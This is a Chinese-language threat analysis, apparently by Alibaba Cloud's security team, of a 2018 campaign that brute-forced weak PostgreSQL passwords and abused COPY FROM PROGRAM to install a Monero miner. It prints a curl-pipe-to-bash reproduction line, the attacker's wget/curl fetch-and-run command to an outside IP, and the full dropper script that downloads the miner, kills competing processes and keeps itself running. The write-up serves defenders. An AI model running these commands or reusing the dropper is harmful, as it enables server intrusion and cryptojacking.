观点/摘要
随着数字货币行业的火热，挖矿已成为攻击者变现的首选方式。而数据库服务器作为算力的重要承载者，也早已成为此类攻击的首选目标。
阿里云安全团队跟踪发现，继Redis\OrientDB等数据库类软件之后，PostgreSQL已逐渐进入此类攻击的目标范畴。预计未来针对其他数据应用服务的此类攻击也会逐步兴起。建议数据库服务提供商和用户在默认安全策略、密码策略等方面需要提高水位，防范潜在的风险。
2018年8月10日晚19点左右，阿里云安全团队首次发现一起利用PostgreSQL PROGRAM特性进行批量挖矿牟利的攻击事件。该攻击者首先利用扫描收集弱密码机器，然后批量登录后使用未公开的 可致RCE的攻击手法部署挖矿软件。
本篇我们对整个PostgreSQL数据库批量挖矿实例作了详细的分析：
PostgreSQL数据库说明
PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统)，它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird)，和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择。
漏洞影响
整个互联网共有336,784对外开放端口的PostgreSQL主机，它已经是互联网数据库服务器的一部分，承载了大量的重要应用和数据。
随着数字货币经济的不断发展，大量的数据库服务和应用(如Redis\OrientDB等)都已经成为了挖矿、木马等僵尸网络的目标对象，而PostgreSQL也在这个攻击列表中。
使用弱密码，或者将服务暴露在公网的9.5以上版本的PostgreSQL 服务器都可能受到此类攻击威胁。一旦被攻击者入侵，机器的计算能力、承载的数据、运行的应用等都将会被入侵者所控制。
攻击事件说明
1.攻击者通过端口扫描批量发现开放了5432端口(PostgreSQL的默认端口)的机器。
2.通过标准弱密码进行爆破尝试，如Postgres/Postgres默认密码即可登录一部分机器
3.通过 PROGRAM 方法按照登录的账户权限执行任意指令。
(注：本漏洞为本地验证，出现ip地址均为本地ip地址)
COPY rce_test
FROM PROGRAM 'curl http://172.16.72.1/1.sh | bash';
在本地实验中所使用的测试只是执行一个简单的 id指令进行测试。
最终结果如下:
指令成功执行。结合越权漏洞一起使用，本攻击方法能够达到执行任意指令的效果。
具体到本次事件中的攻击者，只是使用当前用户权限直接部署挖矿脚本
sh -c (wget -q -O- http://204.48.25.175/kworker.sh || curl -fsSL http://204.48.25.175/kworker.sh) | sh
下载运行的脚本如下所示:
#!/bin/sh
XURL="http://204.48.25.175/kw0rker"
XNAME="x"`ls /dev/disk/by-uuid/ | head -n 1 | cut -c 1-8`
XPATH="/tmp/"
XBIN=$XPATH$XNAME
download_file(){
if ! `(wget --no-check-certificate -O $2 $1 || curl $1 -o $2)`; then
if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
else
python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
fi
fi
}
run_file(){
chmod +x $1$2
command cd $1 && ./$2
rm -rf $1$2
}
keep_running(){
xpid=`ps -aeo pid,command |grep $XNAME|grep -v grep | awk '{print $1}'`
`ps -aeo pid,user,command | grep -v grep | grep -v $ | grep -v $xpid | grep -E "postgres|python|stratum|nohup|/tmp/|sleep" | awk '{print index($3,"post")?"":$1;}' | xargs kill -9`
`ps -aeo pid,%cpu | grep -v $ | grep -v $xpid | grep -v grep | awk '{if($2>45){print $1}}' | xargs kill -9`
p=`ps -aeo command | grep -v defunct | grep $XNAME | grep -v grep | wc -l`
if [ ${p} -eq 0 ];then
sleep 3600
download_file $XURL $XBIN
run_file $XPATH $XNAME &
fi
}
while true
do
keep_running
sleep 5
done
该脚本的实际作用是下载真实的挖矿程序。
攻击者使用门罗币地址:
41ixve3yz58LhFbEpVqnbXeeMe7xq6R5uU9jz54iHBqFTddAKfvpSGDUg6xDyoTHSg2uxZQG6FjiE3Em435cypdjLkFNCc8
共计获利19.718362120000个门罗比，现价(619元/币)折合人民币12000元左右。
查询该地址归属的算力地址自8月10日中午开始暴涨近4倍。由于该攻击者的攻击手法使用了PostgreSQL9.5之后的一个特性，而这一特性是首次在此类攻击中出现；同时，该攻击者的攻击流量仍然较小，我们相信此时此类攻击手法仍在早期阶段，后期会出现扩散和变异。
安全建议
● 建议加强PostgreSQL的密码策略，不要使用默认的密码或者安全性较弱的密码
● 通过安全组能力设置IP访问白名单，不让非相关的IP地址访问PostgreSQL数据库